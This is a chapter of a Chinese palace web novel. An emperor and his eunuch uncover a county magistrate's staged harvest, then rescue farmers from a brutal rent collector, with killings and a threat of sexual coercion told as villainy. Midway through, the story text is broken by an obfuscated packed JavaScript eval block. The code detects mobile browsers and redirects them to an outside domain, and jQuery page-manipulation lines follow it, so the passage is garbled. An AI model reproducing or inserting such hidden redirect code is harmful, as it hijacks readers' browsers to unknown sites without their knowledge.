裴玄琰此番考察的是平县。
这次的巡幸,也是为新政的推行做铺垫。
帝王亲临,平县官府一早便候着,不敢有任何的懈怠。
虽说帝王亲临考察是危机,但对于地方的官员而言,也是一个不可多得的机会。
倘若得了帝王的青眼,便能官运亨通,扶云直上。
而且裴玄琰才登基,正是用人之际,也是最容易靠着出成绩升官的时候。
平县的县令可是准备了许久,十分有自信,今日必然能让新帝对平县的政绩满意。
尤其当县令带着裴玄琰巡视田地,那一片被雪压弯的金灿灿的麦子,彰显着来年雪化之后,将会有大丰收。
在这个自给自足的封建社会,上至天家,下至平民百姓,都要靠着朝耕夕种吃上饭。
一年麦子的丰收与否,意味着来年社稷的稳固。
以京师为中心,辐射周遭的州县,不少州县都因天灾虫祸,而导致麦子受损,裴玄琰看了不少哭诉的折子。
唯有平县,是这些州县之中,难得的几乎年年能丰收的县。
在田地的另一端,一个个穿戴整洁的百姓,跪伏在地,高喊着万岁。
这番象征着欣欣向荣的场面,裴玄琰看得颇为满意,县令揣摩着帝王的心思,陪笑的脸都快笑烂了。
但闻析看着看着,却看出不对劲之处。
他趁着无人注意,蹲下去查看田地的麦子,拔出来一看,眸光微动。
原来如此。
有老汉代表了百姓,上前来叩谢圣恩。
裴玄琰说了两句客套话,一旁的李德芳便上前,将老汉给扶了起来。
闻析趁机,观察到了那老汉的手。
等一圈巡视下来,裴玄琰也打算回宫了。
闻析找准机会,上前低声道:“陛下,奴才有要事禀报。”
他先看了一圈周围。
裴玄琰抬了下手,屏退了闲杂人等。
“何事,说罢。”
闻析:“陛下,方才奴才观麦子,发觉有异,拔起来一看,发现这麦子的根部与土地的接触十分低,一下便能拔出来。”
“通常而言,麦子在下旬种下后,经过了几月的成长,根系该是与土地相连,如此浅的深度,别说是生长,麦子必然是活不了的。”
裴玄琰原本舒展的眉目,一下压沉,“所以?”
“所以,这麦子怕不是秋种冬生,而是因为陛下此番前来巡视,有人故意搬了最好的麦子,挪到那片田地来,专门给陛下看的。”
裴玄琰啪的一拍案面,闻析低膝跪下。
“你确定?此事牵涉到整个平县官府,是否存在舞弊糊弄天听,倘若这都只是你的猜测,光凭信口雌黄这一点,朕便能摘了你的脑袋。”
闻析跪首在地,“奴才还有一个佐证。”
“在田地间常年做活的庄稼人,这手上必然会因风吹日晒,而发黑皲裂,布满老茧。”
“可先前那名叩谢圣恩的老汉,手上却颇为干净,半点也不像是长期劳作之人,反而更像是——”
在裴玄琰阴沉沉的视线下,闻析说出四个字:“乡绅富户。”
如果真如闻析所言,那么平县的官府,便不单单只是欺君这么简单了。
“来人……”
在裴玄琰要雷霆一怒时,闻析安抚住他,“陛下且慢,若是陛下直接质问,平县官府必然不会承认,并且还会想出法子,继续来欺瞒陛下。”
“依奴才之见,不如来个声东击西。”
新帝摆驾回宫,平县县令擦了把汗。
“大人,陛下当是没看出什么不妥吧?这次升迁的机会,是不是妥了?”
县令满脸的志在必得:“今年灾祸不断,唯有我上报的平县,敢说明年开春会有丰收,若是陛下不重视,岂会亲临?”
“放心吧,若是本官顺利升迁,必然不会忘了你们。”
一众官员们纷纷恭维道谢。
殊不知,在大部队回宫时,新帝却带着一小队御林军,去了另外一个方向。
因着是要打一个回马枪,所以都是轻装出行。
但这可是苦了闻析,因为他不会骑马。
儿时他学过,只是他九岁便入宫,之后便再也没有机会学习骑射。
他笨拙的一手拉着缰绳,尝试着踩上马镫。
可马往前走两步,闻析便猝不及防的被甩了下来。
一只大掌,托在他的后腰。
新帝一贯冷淡的嗓音,却带了两分揶揄:“既是不会骑,便不要打肿脸充胖子了。”
笑什么笑,若他也有这般好命可以当皇帝,他也能打马游街,春风得意!
“奴才愚钝。”
裴玄琰一掌托着他的后腰,往上一带。
骤然腾空,下一瞬便坐在了马鞍上。
裴玄琰甚至都没踩马镫,只是一手牵住缰绳,纵身一跃,便稳稳落在了闻析的身后。
“坐稳了,驾。”
帝王的马,乃是最为珍贵的汗血宝马,且裴玄琰的这匹马,还是跟着他一路征战过来的战马。
被养得膘肥体壮,一日能行千里。
闻析一开始还有点怕,但裴玄琰的马术精湛,即便快跑也不会有任何危险。
他很快有了心情,左看看右看看,一双漂亮的琉璃眸瞟个不停。
“这么高兴?”
裴玄琰觉得这小太监实在是没见过世面。
但他望着身前之人,那张白净的侧脸,笼在余晖的夕阳下,似是镀了层岁月静好的光晕。
闻析如实道:“奴才九岁入宫,几乎没出过皇宫,不禁赞叹于,大雍的大好河山。”
说着,闻析还不忘马屁上一句:“这都是陛下治下有功,才能社稷安稳,百姓安康。”
裴玄琰的唇角上扬一个细小的弧度。
“马背上拍马屁,你倒是会活学活用。”
闻析:夸他还喘上了,矫情。
*
先前裴玄琰巡视的是平县的东郊,而他们此番去的,则是相反的西郊。
而很快,裴玄琰便没有闲情雅致玩笑了。
只因,西郊的光景与东郊完全不同。
没有放眼望去雪压麦穗的丰收,而是一片贫瘠干枯的田地。
更没有一个个穿戴整洁的百姓,有的,只是衣衫褴褛,形容枯槁的贫苦农户。
这简直就像是在打裴玄琰的脸。
而一凶神恶煞的寮主,带着一帮的护卫,正在收地租。
一走路都蹒跚的老农,跪在地上哀求:“今年收成不好,实在是交不出三十石谷物,能否宽限些时日,求求您了!”
可那寮主,却毫无怜悯之心,反而还一脚将那老农给踹翻在地。
“爷爷!”
一衣衫单薄的小姑娘,哭着护在老农的身前。
“我们是奉东家之命,前来收租的,若是交不上粮食,要么收回田租,要么——”
他猥琐的视线,停在了小姑娘的身上,像是在估价一件物件,“你这孙女儿,倒是有几分姿色。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299276|182738||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“陪我睡一晚,便免了你这次的地租。”
老农大惊,“不可!不可!求求你们,求求你们放过我孙女儿,她还小啊……”
但这些恶人,如何会放过这对无助的爷孙。
一人抓着小姑娘,往人少的地方拉拽。
小姑娘哭着喊着叫救命,而其他农户,想阻拦却又不敢。
便在老农要豁出性命保护孙女时,一支长箭破空,直接贯穿了寮主的手掌。
“啊我的手!”
寮主惨叫,其他护卫立时受惊,纷纷掏出了武器。
“哪个找死的,滚出来!”
在叫嚣的声音中,裴玄琰手持弩箭,冷眸如炷,通身天潢贵胄的气派,只一眼扫来,上位者的积压,便能叫人双腿发软。
“错了,今日,是你的死期。”
裴玄琰根本就不给对方反应的机会。
一箭,射中他的肩膀。
一箭,射中他的大腿。
再一箭,是对着头。
原本那些护卫还想反抗,结果在被御林军给围住,见到御林军拔出的长刀后,吓得丢盔弃甲,只剩下喊救命的份儿了。
这些护卫也就花拳绣头,只敢狐假虎威的,欺压无权无势的农户们。
对上武功高强的御林军,魂儿都要吓没了,哪儿还敢反抗。
在裴玄琰料理这帮人时,闻析快步上前,将小姑娘扶起。
又用衣袖,不嫌脏的,给对方擦了擦泪水。
“没事了,别怕,我们是来为你们做主的。”
小姑娘抽泣:“真、真的吗?”
闻析点点头,耐心的宽慰,指指不远处,长身玉立,面色阴沉的新帝。
“那是我的主子,他是连县令都畏惧的大人物,你们有何委屈,只管如实说来。”
小姑娘这才止住了哭。
闻析又将老农扶起,拍拍他身上的灰。
而其他农户在听到闻析的话后,都将信将疑的围了过来。
“小公子,你说的是真的吗?那位……大人物,真能为我们做主吗?”
闻析耐心的一一回应。
而这边,那带头的寮主还敢叫喊:“你、你打哪儿来的,竟然敢管闲事,你知道我们老爷是谁吗?”
“我们老爷可是县令大人的老丈人,得罪了我们老爷,县令大人定砍了你们的狗头!”
裴玄琰似笑非笑,“倒是头一次,有人敢砍我的头。”
“行啊,回去告诉你们老爷,让他带着他的姑爷县令,来见我,看看他有几颗脑袋够砍。”
通风报信,只留一个活口就够了。
剩下的欺压百姓的——
裴玄琰面无表情冷漠下令:“都杀了。”
回身,却见闻析竟将自己带的碎银子,全分给了农户们。
霞光笼罩在他的周身,如同普度众生的玉菩萨。
闻析朝着他小跑过来。
那双漂亮的琉璃眸,很亮、很鲜活。
“陛下,都问清楚了。”
裴玄琰莫名觉着,钻入耳中的温声细语,酥酥的、痒痒的。
他刚想要说什么,忽然一道白光掠过。
“陛下当心!”
闻析伸手一挡,那护卫手中的匕首,堪堪划破了他的手臂。
找准机会,那护卫拔腿就想跑。
裴玄琰眉心一压,一手将闻析拉到身后,一手取过弩箭。
一箭射穿那护卫的心脏!
“蠢货,不会武功,挡什么!”